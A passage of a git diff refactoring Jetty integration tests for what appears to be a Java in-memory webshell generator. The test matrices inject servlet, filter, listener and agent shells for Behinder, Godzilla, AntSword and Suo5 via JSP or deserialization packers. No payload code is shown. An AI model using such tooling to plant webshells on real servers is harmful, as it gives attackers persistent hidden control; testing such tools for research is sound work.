ShellType.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize) // arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar), // arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar), // arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java index a94d4c02..65b427b4 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.jetty; -import com.reajason.javaweb.memshell.JettyShell; -import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.server.JettyShell; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -42,36 +42,36 @@ public class Jetty76ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java index 6e816020..b6e012a6 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.jetty; -import com.reajason.javaweb.memshell.JettyShell; -import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.server.JettyShell; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -42,36 +42,36 @@ public class Jetty81ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java index 3be0ade5..fb986880 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.jetty; -import com.reajason.javaweb.memshell.JettyShell; -import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.server.JettyShell; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -43,36 +43,36 @@ public class Jetty92ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java index 2ecc3d63..9f674240 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.jetty; -import com.reajason.javaweb.memshell.JettyShell; -import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.server.JettyShell; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -42,36 +42,36 @@ public class Jetty93ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java index 6ad50a5e..0d86c6f0 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.jetty; -import com.reajason.javaweb.memshell.JettyShell; -import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.server.JettyShell; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -42,36 +42,36 @@ public class Jetty94ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, 